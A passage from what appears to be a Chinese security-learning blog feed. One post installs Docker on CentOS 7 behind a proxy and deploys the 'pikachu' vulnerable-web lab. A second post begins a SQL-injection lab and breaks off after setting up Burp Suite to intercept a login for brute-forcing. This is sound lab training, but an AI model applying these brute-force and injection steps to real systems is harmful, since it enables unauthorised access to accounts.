<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-004221.png" alt="" width="2805" height="905" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004221-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004221-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004221-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004221-xl.webp 1024w"></figure>
<p>我使用的是Clash Verge，这里就以Clash的局域网模式来示例</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/clashPei-Zhi.png" alt="" width="1993" height="1458" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/clashPei-Zhi-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/clashPei-Zhi-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/clashPei-Zhi-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/clashPei-Zhi-xl.webp 1024w"></figure>
<h4>在CentOS7的配置：</h4>
<p>首先确保这个CentOS7能够远程SSH连接（后续粘贴命令很方便）</p>
<p>我使用的是MobaXtream（<a href="https://wwbte.lanzn.com/b014x4mvif" target="_blank" rel="noopener noreferrer">点我下载</a>，密码：enk9）<a href="https://mobaxterm.mobatek.net/download-home-edition.html" target="_blank" rel="noopener noreferrer">点我跳转软件官网</a></p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-002205.png" alt="" width="1303" height="610" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002205-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002205-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002205-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002205-xl.webp 1024w"></figure>
<p>打开CMD，输入ipconfig命令来查看自己的Vmware里的ip地址信息</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-002847.png" alt="" width="1337" height="305" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002847-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002847-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002847-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-002847-xl.webp 1024w"></figure>
<p>执行以下代码，使得CentOS7的代理指向宿主机的端口（这里我的这个是153，你的需要替换成你自己的端口）</p>
<pre class="language-bash line-numbers"><code>export http_proxy=http://192.168.153.1:7897
export https_proxy=http://192.168.153.1:7897</code></pre>
<p>将代理配置永远写入（不建议这么做，这里下载docker也只是临时的，所以临时设置一下即可）可跳过</p>
<h6>步骤一：编辑配置文件</h6>
<pre class="language-bash line-numbers"><code>vi ~/.bashrc</code></pre>
<h6>步骤二：在文件末尾添加上述两行 <code data-path-to-node="19" data-index-in-node="12">export</code> 命令，保存退出后执行以下命令</h6>
<pre class="language-bash line-numbers"><code>source ~/.bashrc</code></pre>
<p>即可保存成功</p>
<h4>验证部分：</h4>
<p>在终端中使用如下命令查看是否成功连接外网</p>
<pre class="language-bash line-numbers"><code>curl -I www.google.com</code></pre>
<p>下图即为成功（可以看到这里已经是200 OK了，代表已经获取到了响应头）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-004340.png" alt="" width="2380" height="656" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004340-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004340-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004340-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-004340-xl.webp 1024w"></figure>
<h4>开始部署docker</h4>
<h6>步骤一：安装 Docker 引擎</h6>
<p>（CentOS 7 自带的软件包版本通常较低，建议通过 Docker 官方的仓库进行安装，以确保版本最新）</p>
<p>卸载旧版本（可选）如果系统之前安装过旧版 Docker，请先清理：</p>
<pre class="language-bash line-numbers"><code>sudo yum remove docker \
                  docker-client \
                  docker-client-latest \
                  docker-common \
                  docker-latest \
                  docker-latest-logrotate \
                  docker-logrotate \
                  docker-engine</code></pre>
<h6 data-path-to-node="8">步骤二：设置存储库</h6>
<p data-path-to-node="9">执行以下命令，安装必要的工具包并添加阿里云仓库源：</p>
<pre class="language-bash line-numbers"><code>sudo yum install -y yum-utils
sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo</code></pre>
<h6>步骤三：生成缓存并安装（第一次安装不用清理缓存，不过我还是建议清理一下，避免出错）</h6>
<p>执行以下命令，清理旧缓存</p>
<pre class="language-bash line-numbers"><code>sudo yum clean all</code></pre>
<h6>建立新缓存并安装</h6>
<pre class="language-bash line-numbers"><code>sudo yum makecache fast
sudo yum install -y docker-ce docker-ce-cli containerd.io</code></pre>
<h6>步骤四：启动docker并设置开机自启</h6>
<pre class="language-bash line-numbers"><code>sudo systemctl start docker
sudo systemctl enable docker</code></pre>
<h6>验证docker是否部署成功</h6>
<p>输入 <code data-path-to-node="16" data-index-in-node="3">docker version</code>，看到 Client 和 Server 信息即表示安装成功（如下图所示）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-012858.png" alt="" width="1001" height="871" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-012858-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-012858-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-012858-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-012858-xl.webp 1024w"></figure>
<h4 dir="auto">虚拟机Docker的代理的设置</h4>
<h5>方法一：使用国内镜像站的配置</h5>
<h6 dir="auto">步骤一：创建或编辑 Docker 的配置文件</h6>
<pre class="language-bash line-numbers"><code>sudo mkdir -p /etc/docker
sudo vi /etc/docker/daemon.json</code></pre>
<h6 dir="auto">步骤二：在文件中粘贴以下内容（推荐如下的国内镜像站）</h6>
<pre class="language-json line-numbers"><code>{
    "registry-mirrors": [
        "https://docker.1panel.live",
        "https://hub.rat.dev/",
        "https://docker.chenby.cn",
        "https://docker.kubesre.xyz",
        "https://huecker.io",
        "https://dockerhub.timeweb.cloud",
        "https://dockerproxy.com",
        "https://docker.anyhub.us.kg",
        "https://dockerhub.icu",
        "https://docker.aws19527.cn",
        "https://registry.dockermirror.com",
        "https://hub-mirror.c.163.com",
        "https://mirror.baidubce.com",
        "https://ccr.ccs.tencentyun.com",
        "https://docker.m.daocloud.io",
        "https://docker.mirrors.ustc.edu.cn"
    ]
}
</code></pre>
<h6 dir="auto">步骤三：保存后，重启 Docker 服务使配置生效：</h6>
<pre class="language-bash line-numbers"><code>sudo systemctl daemon-reload
sudo systemctl restart docker</code></pre>
<h6 dir="auto">步骤四：验证国内镜像是否生效</h6>
<pre class="language-bash line-numbers"><code>docker info | grep -A 10 "Registry Mirrors"</code></pre>
<p>输出结果如下图所示即可</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-23-224631.png" alt="" width="1000" height="435" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-23-224631-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-23-224631-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-23-224631-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-23-224631-xl.webp 1024w"></figure>
<h6>至此，国内镜像方法配置结束</h6>
<h5>方法二：使用刚刚配置的本地代理</h5>
<p>如果你没有代理工具，可使用国内镜像站的即可</p>
<p dir="auto">使用代理的时候，这里需要配置两处</p>
<ul>
<li dir="auto">第一处：解决“Docker 能不能下载镜像”的问题</li>
<li dir="auto">第二处：解决“容器里面能不能上网”的问题</li>
</ul>
<h6 dir="auto">第一处：配置 Docker Daemon（让 docker pull、docker run 下载镜像时走代理）</h6>
<pre class="language-bash line-numbers"><code>sudo mkdir -p /etc/systemd/system/docker.service.d
sudo vi /etc/systemd/system/docker.service.d/http-proxy.conf</code></pre>
<p dir="auto">在文件中添加以下内容（把 http://127.0.0.1:7890 改成你自己的代理地址和端口）</p>
<pre class="language-bash line-numbers"><code>[Service]
Environment="HTTP_PROXY=http://127.0.0.1:7897"
Environment="HTTPS_PROXY=http://127.0.0.1:7897"
Environment="NO_PROXY=localhost,127.0.0.1,::1"</code></pre>
<p dir="auto">这里我的是7897端口，所以在后面配置这个7897</p>
<p dir="auto">按下<code>：</code>，输入<code>wq</code>，保存后执行：</p>
<pre class="language-bash line-numbers"><code>sudo systemctl daemon-reload
sudo systemctl restart docker</code></pre>
<p dir="auto">验证代理镜像是否生效</p>
<pre class="language-bash line-numbers"><code>sudo systemctl show --property=Environment docker</code></pre>
<h6 dir="auto">第二处：配置 Docker Client（让容器内部默认走代理，新版 Docker 推荐方式）</h6>
<p dir="auto">创建或编辑用户配置文件</p>
<pre class="language-bash line-numbers"><code>mkdir -p ~/.docker
vi ~/.docker/config.json</code></pre>
<p dir="auto">添加以下内容：</p>
<pre class="language-bash line-numbers"><code>{
  "proxies": {
    "default": {
      "httpProxy": "http://127.0.0.1:7897",
      "httpsProxy": "http://127.0.0.1:7897",
      "noProxy": "localhost,127.0.0.1"
    }
  }
}</code></pre>
<p dir="auto">这个配置会让新启动的容器自动继承代理环境变量</p>
<h6 dir="auto">临时测试代理（不想永久配置时）</h6>
<p dir="auto">直接在命令前加环境变量</p>
<pre class="language-bash line-numbers"><code>HTTP_PROXY=http://127.0.0.1:7890
HTTPS_PROXY=http://127.0.0.1:7890</code></pre>
<p dir="auto">配置完后，试一下拉取镜像：</p>
<pre class="language-bash line-numbers"><code>docker pull hello-world</code></pre>
<p>可以看到，我这里可以成功拉取镜像（这里仅仅做测试，就不运行了）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-140917.png" alt="" width="1278" height="216" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-140917-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-140917-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-140917-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-140917-xl.webp 1024w"></figure>
<h4 dir="auto">Docker镜像部署</h4>
<p dir="auto">访问docker hub，寻找我们需要的镜像</p>
<p dir="auto">docker hub：<a href="https://hub.docker.com/" target="_blank" rel="noopener noreferrer">点我前往</a></p>
<p dir="auto">这里我会使用这个<code>pikachu</code>网络安全靶场，作为从零开始部署整个靶场的全流程（包含每一步的详细原理）从而带你认识docker的部署于使用</p>
<h6 class="align-center" dir="auto">具体的流程图如下</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/mermaid-diagram.png" alt="" width="1466" height="5465" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/mermaid-diagram-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/mermaid-diagram-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/mermaid-diagram-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/mermaid-diagram-xl.webp 1024w"></figure>
<h6 dir="auto">第一步：寻宝（Docker Hub 搜索与选择）</h6>
<p>这里我找到了我需要的靶场，并且和它对应的部署链接</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/La-Qu-pikachu.png" alt="" width="2803" height="1497" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/La-Qu-pikachu-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/La-Qu-pikachu-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/La-Qu-pikachu-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/La-Qu-pikachu-xl.webp 1024w"></figure>
<h6 dir="auto">第二步：入库（拉取镜像到本地）</h6>
<p>输入以下命令，拉取<code>area39/pikachu</code>的镜像文件（如果下载失败，请检查之前的环境配置）</p>
<pre class="language-bash line-numbers"><code>docker pull area39/pikachu:latest</code></pre>
<ul>
<li>名词解释：Pull（拉取）<span class="">：这就是从云端把“零件包”下载到你服务器的仓库里（</span><code class="" data-path-to-node="9,0,0" data-index-in-node="38">/var/lib/docker</code><span class="">）</span></li>
<li>
<p data-path-to-node="9,1,0">检查动作<span class="">：下载完后，</span><span class="">输入 </span><code class="" data-path-to-node="9,1,0" data-index-in-node="13">docker images</code>，<span class="">如果你能看到 </span><code class="" data-path-to-node="9,1,0" data-index-in-node="34">area39/pikachu</code><span class=""> 出现在列表里，</span><span class="">说明“零件”已经到货了</span></p>
</li>
</ul>
<h6 dir="auto">第三步：开工（运行容器）</h6>
<p><span class="">这是最关键的一步，</span><span class="">把静态的“零件”变成动态的“程序”</span></p>
<pre class="language-bash line-numbers"><code>docker run -d -p 8765:80 --name my_pikachu area39/pikachu:latest</code></pre>
<ul>
<li>
<p data-path-to-node="14,0,0"><strong class="" data-path-to-node="14,0,0" data-index-in-node="0"><code data-path-to-node="14,0,0" data-index-in-node="0">-d</code></strong><span class="">：后台运行，</span><span class="">不占用你的终端窗口。</span></p>
</li>
<li>
<p data-path-to-node="14,1,0"><strong class="" data-path-to-node="14,1,0" data-index-in-node="0"><code data-path-to-node="14,1,0" data-index-in-node="0">-p 8765:80</code></strong><span class="">：把服务器的 </span><strong class="" data-path-to-node="14,1,0" data-index-in-node="17">8765</strong><span class=""> 端口连到容器内部的 </span><strong class="" data-path-to-node="14,1,0" data-index-in-node="32">80</strong><span class=""> 端口。</span></p>
</li>
<li>
<p data-path-to-node="14,2,0"><strong class="" data-path-to-node="14,2,0" data-index-in-node="0"><code data-path-to-node="14,2,0" data-index-in-node="0">--name my_pikachu</code></strong><span class="">：（新知识！）给你的容器起个名字叫 </span><code class="" data-path-to-node="14,2,0" data-index-in-node="35">my_pikachu</code><span class="">，</span><span class="">以后管理它（停止或重启）就不用背那串长长的 ID 了</span></p>
</li>
</ul>
<h6>第四步：巡查（确认容器状态）</h6>
<p><span class="">命令运行完会返回一串长字符（容器 ID），</span><span class="">但这不代表程序真的跑稳了</span></p>
<p>输入以下命令，查看当前正在运行的容器：</p>
<pre class="language-bash line-numbers"><code>docker ps</code></pre>
<ul>
<li>
<p data-path-to-node="18,0,0">名词解释：ps (Process Status)<span class="">：查看当前正在运行的容器。</span></p>
</li>
<li>
<p data-path-to-node="18,1,0">看什么？<span class="">：看 </span>STATUS<span class=""> 是不是 </span><code class="" data-path-to-node="18,1,0" data-index-in-node="18">Up ... seconds</code><span class="">（启动中），</span><span class="">看 </span>PORTS 是不是 <code data-path-to-node="18,1,0" data-index-in-node="50">0.0.0.0:8765-&gt;80/tcp</code></p>
</li>
</ul>
<h6>第五步：破壁（放行系统防火墙）</h6>
<p>即便 Docker 内部映射好了端口，CentOS 7 自带的 <code data-path-to-node="4" data-index-in-node="32">firewalld</code> 防火墙默认通常只开启了 22 端口（SSH）。你需要手动推开 <strong data-path-to-node="4" data-index-in-node="73">8765</strong> 这扇大门</p>
<p>输入以下命令，永久放行8765端口：</p>
<pre class="language-bash line-numbers"><code>sudo firewall-cmd --zone=public --add-port=8765/tcp --permanent</code></pre>
<p>使用以下命令，重新加载防火墙配置，让刚才的修改立即生效</p>
<pre class="language-bash line-numbers"><code>sudo firewall-cmd --reload</code></pre>
<ul>
<li>
<p data-path-to-node="7,0,0">名词解释：<code>firewall-cmd</code>这是 CentOS 7 的防火墙管理工具</p>
</li>
<li>
<p data-path-to-node="7,1,0">名词解释：<code>--permanent</code>意思是“永久生效”，如果不加这个，你重启服务器后，这扇门又会被锁上</p>
</li>
</ul>
<h6>第六步：验收（在浏览器中与它见面）</h6>
<p>在你的物理机（比如你的 Windows 电脑）浏览器地址栏输入： <code data-path-to-node="12,1,0" data-index-in-node="33">http://服务器IP:8765</code></p>
<p>我这里的是192.168.153.128，那就直接输入<code data-path-to-node="12,1,0" data-index-in-node="33">http://192.168.153.128:8765</code>，即可访问</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/49/Ping-Mu-Jie-Tu-2026-04-06-144618.png" alt="" width="2879" height="1608" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-144618-xs.webp 320w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-144618-sm.webp 480w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-144618-md.webp 768w ,https://old.zeyun.org/media/posts/49/responsive/Ping-Mu-Jie-Tu-2026-04-06-144618-xl.webp 1024w"></figure>
<h6>第七步：上锁（设置容器“自动复活甲”）</h6>
<p>即使容器现在跑得欢，如果虚拟机重启，它默认是不会自己活过来的。我们需要给它补上一粒“后悔药”，让它学会自救</p>
<pre class="language-bash line-numbers"><code>docker update --restart=always my_pikachu</code></pre>
<ul>
<li>
<p data-path-to-node="7,0,0">名词解释：update：这是 Docker 的“动态修改器”，它允许你在不删除、不停止容器的情况下，直接修改它的运行规则</p>
</li>
<li>
<p data-path-to-node="7,1,0">名词解释：--restart=always：这是“自启策略”</p>
<ul data-path-to-node="7,1,1">
<li>
<p data-path-to-node="7,1,1,0,0">它的含义：只要 Docker 服务在运行，无论容器是因为程序崩溃停了，还是因为服务器重启关了，Docker 都会<strong>立刻、无条件</strong>把它重新拉起来</p>
</li>
</ul>
</li>
</ul>
<p>给容器加了“复活甲”还不够，如果你的 CentOS 7 开机时根本没启动 Docker 软件（那个总管），那容器也无从谈起</p>
<p>输入以下命令，让docker服务，开启自启动：</p>
<pre class="language-bash line-numbers"><code>sudo systemctl enable docker</code></pre>
<h6>第八步：善后（停止与清理）</h6>
<p>如果你练习完了，不想让这个容器继续占用资源</p>
<p>输入以下命令，停止容器：</p>
<pre class="language-bash line-numbers"><code>docker stop my_pikachu</code></pre>
<p>删除容器命令（<code>*注意</code>：删除后，你在容器里做的改动会消失，但镜像还在）</p>
<pre class="language-bash line-numbers"><code>docker rm my_pikachu</code></pre>
<ul>
<li>名词解释：<code data-path-to-node="19,0,0" data-index-in-node="16">stop</code> 只是让程序“关机”休息，<code data-path-to-node="19,0,0" data-index-in-node="33">rm</code> 则是把这个“组装好的零件”彻底拆散扔掉</li>
</ul>
<p>如果你以后不打算再玩这个镜像了，需要把它从磁盘上抹掉</p>
<pre class="language-bash line-numbers"><code>docker rmi my_pikachu</code></pre>
<ul>
<li>
<p data-path-to-node="10,0,1,0,0">名词解释：<code data-path-to-node="10,0,1,0,0" data-index-in-node="5">rmi</code> 就是 remove image。</p>
</li>
<li>
<p data-path-to-node="10,0,1,1,0">注意：如果这个镜像还在被某个容器（哪怕是停止的容器）使用，Docker 会报错不允许你删除。必须先执行上面的 <code data-path-to-node="10,0,1,1,0" data-index-in-node="55">docker rm</code> 删掉容器，才能删镜像</p>
</li>
</ul>
<h4 class="align-center" dir="auto">Docker 常用命令（超实用清单，建议收藏）</h4>
<table data-path-to-node="5">
<thead>
<tr>
<td><strong>动作分类</strong></td>
<td><strong>命令部分</strong></td>
<td><strong>通俗解释</strong></td>
<td><strong>实战案例</strong></td>
</tr>
</thead>
<tbody>
<tr>
<td><span data-path-to-node="5,1,0,0"><strong data-path-to-node="5,1,0,0" data-index-in-node="0">环境检查</strong></span></td>
<td><span data-path-to-node="5,1,1,0"><code data-path-to-node="5,1,1,0" data-index-in-node="0">systemctl show --property=Environment docker</code></span></td>
<td><span data-path-to-node="5,1,2,0"><strong data-path-to-node="5,1,2,0" data-index-in-node="0">查水表</strong>：看看 Docker 内部上网有没有挂代理</span></td>
<td><span data-path-to-node="5,1,3,0">确认是否能顺畅拉取国内外镜像</span></td>
</tr>
<tr>
<td><span data-path-to-node="5,2,0,0"><strong data-path-to-node="5,2,0,0" data-index-in-node="0">入库/下载</strong></span></td>
<td><span data-path-to-node="5,2,1,0"><code data-path-to-node="5,2,1,0" data-index-in-node="0">docker pull [镜像名]</code></span></td>
<td><span data-path-to-node="5,2,2,0"><strong data-path-to-node="5,2,2,0" data-index-in-node="0">下订单</strong>：从云端仓库把零件包拉到本地</span></td>
<td><span data-path-to-node="5,2,3,0"><code data-path-to-node="5,2,3,0" data-index-in-node="0">docker pull area39/pikachu</code></span></td>
</tr>
<tr>
<td><span data-path-to-node="5,3,0,0"><strong data-path-to-node="5,3,0,0" data-index-in-node="0">给容器取名</strong></span></td>
<td><span data-path-to-node="5,3,1,0"><code data-path-to-node="5,3,1,0" data-index-in-node="0">--name [自定义名称]</code></span></td>
<td><span data-path-to-node="5,3,2,0"><strong data-path-to-node="5,3,2,0" data-index-in-node="0">起绰号</strong>：给你的容器起个名字，方便以后点名</span></td>
<td><span data-path-to-node="5,3,3,0">在 <code data-path-to-node="5,3,3,0" data-index-in-node="2">run</code> 命令中加上 <code data-path-to-node="5,3,3,0" data-index-in-node="12">--name my-pikachu</code></span></td>
</tr>
<tr>
<td><span data-path-to-node="5,4,0,0"><strong data-path-to-node="5,4,0,0" data-index-in-node="0">开工/运行</strong></span></td>
<td><span data-path-to-node="5,4,1,0"><code data-path-to-node="5,4,1,0" data-index-in-node="0">docker run -d -p [端口映射] --name [名] [镜像]</code></span></td>
<td><span data-path-to-node="5,4,2,0"><strong data-path-to-node="5,4,2,0" data-index-in-node="0">组装并开机</strong>：后台运行并分配名字和端口</span></td>
<td><span data-path-to-node="5,4,3,0"><code data-path-to-node="5,4,3,0" data-index-in-node="0">docker run -d -p 8080:80 --name pikachu area39/pikachu</code></span></td>
</tr>
<tr>
<td><span data-path-to-node="5,5,0,0"><strong data-path-to-node="5,5,0,0" data-index-in-node="0">查看状态</strong></span></td>
<td><span data-path-to-node="5,5,1,0"><code data-path-to-node="5,5,1,0" data-index-in-node="0">docker ps -a</code></span></td>
<td><span data-path-to-node="5,5,2,0"><strong data-path-to-node="5,5,2,0" data-index-in-node="0">点名</strong>：看看有哪些容器在干活，哪些在偷懒</span></td>
<td><span data-path-to-node="5,5,3,0">检查名为 <code data-path-to-node="5,5,3,0" data-index-in-node="5">pikachu</code> 的容器是否状态为 <code data-path-to-node="5,5,3,0" data-index-in-node="22">Up</code></span></td>
</tr>
<tr>
<td><span data-path-to-node="5,6,0,0"><strong data-path-to-node="5,6,0,0" data-index-in-node="0">停止/拆除</strong></span></td>
<td><span data-path-to-node="5,6,1,0"><code data-path-to-node="5,6,1,0" data-index-in-node="0">docker stop/rm [名字/ID]</code></span></td>
<td><span data-path-to-node="5,6,2,0"><strong data-path-to-node="5,6,2,0" data-index-in-node="0">下班/拆迁</strong>：让容器停止或直接销毁</span></td>
<td><span data-path-to-node="5,6,3,0"><code data-path-to-node="5,6,3,0" data-index-in-node="0">docker rm -f pikachu</code></span></td>
</tr>
<tr>
<td><span data-path-to-node="5,7,0,0"><strong data-path-to-node="5,7,0,0" data-index-in-node="0">清理零件</strong></span></td>
<td><span data-path-to-node="5,7,1,0"><code data-path-to-node="5,7,1,0" data-index-in-node="0">docker rmi [镜像ID]</code></span></td>
<td><span data-path-to-node="5,7,2,0"><strong data-path-to-node="5,7,2,0" data-index-in-node="0">清空仓库</strong>：删掉本地存着的镜像原始包</span></td>
<td><span data-path-to-node="5,7,3,0">注意：必须先删掉关联容器才能删镜像</span></td>
</tr>
</tbody>
</table>
<h6 class="align-center" dir="auto">感谢您的访问，本章教程到此结束(*/ω＼*)</h6>
            ]]>
        </content>
    </entry>
    <entry>
        <title>SQL 注入入门：从暴力破解到 Union 注入（实验记录）</title>
        <author>
            <name>云泽</name>
        </author>
        <link href="https://old.zeyun.org/sql-part1.html"/>
        <id>https://old.zeyun.org/sql-part1.html</id>
            <category term="网络安全学习笔记"/>

        <updated>2026-03-22T23:07:43+09:00</updated>
            <summary>
                <![CDATA[
                    环境说明 靶场：本地搭建的 Seafaring 旅行社仿真靶机（靶场镜像下载连接：点我下载） 目标：通过&hellip;
                ]]>
            </summary>
        <content type="html">
            <![CDATA[
                <h5 class="align-left">环境说明</h5>
<ul>
<li>靶场：本地搭建的 Seafaring 旅行社仿真靶机（靶场镜像下载连接：<a href="https://www.ilanzou.com/s/8zxM5jOC" target="_blank" rel="noopener noreferrer">点我下载</a>）</li>
<li>目标：通过 SQL 注入获取数据库中 admin 表的账号密码，从而获取到Flag</li>
<li>工具：burp suite，浏览器地址栏</li>
</ul>
<h4 class="align-center">思路一：直接打开登录界面，使用burp suite自带字典爆破</h4>
<h6>步骤一：使用burp suite抓取网页请求包</h6>
<p>（1）打开之前在安装burp suite的这一篇时候安装的这个浏览器插件，来接管浏览器的流量</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Xuan-Ze.png" alt="" width="2140" height="1284" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Xuan-Ze-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Xuan-Ze-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Xuan-Ze-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Xuan-Ze-xl.webp 1024w"></figure>
<p>（2）在burp suite中依次选择框选界面（并且将Intercept设置为on）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Yi-Ci-Xuan-Ze.png" alt="" width="1974" height="1110" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Yi-Ci-Xuan-Ze-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Yi-Ci-Xuan-Ze-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Yi-Ci-Xuan-Ze-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Yi-Ci-Xuan-Ze-xl.webp 1024w"></figure>
<p>（3）返回浏览器，输入一些信息，使得burp suite能够拦截到包</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Shu-Ru.png" alt="" width="2102" height="1183" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Shu-Ru-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Shu-Ru-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Shu-Ru-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Shu-Ru-xl.webp 1024w"></figure>
<p>上图即为抓到包的截图</p>
<h6>步骤二：选择需要爆破的内容</h6>
<p>（1）回到burp suite，并选择如下的操作</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Da-Kai.png" alt="" width="2879" height="1703" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Da-Kai-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Da-Kai-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Da-Kai-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Da-Kai-xl.webp 1024w"></figure>
<p>（2）打开后会看到这个界面（这就是burp suite所拦截的内容）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/47/Ping-Mu-Jie-Tu-2026-03-22-213022.png" alt="" width="2879" height="1705" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-22-213022-xs.webp 320w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-22-213022-sm.webp 480w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-22-213022-md.webp 768w ,https://old.zeyun.org/media/posts/47/responsive/Ping-Mu-Jie-Tu-2026-03-22-213022-xl.webp 1024w"></figure>
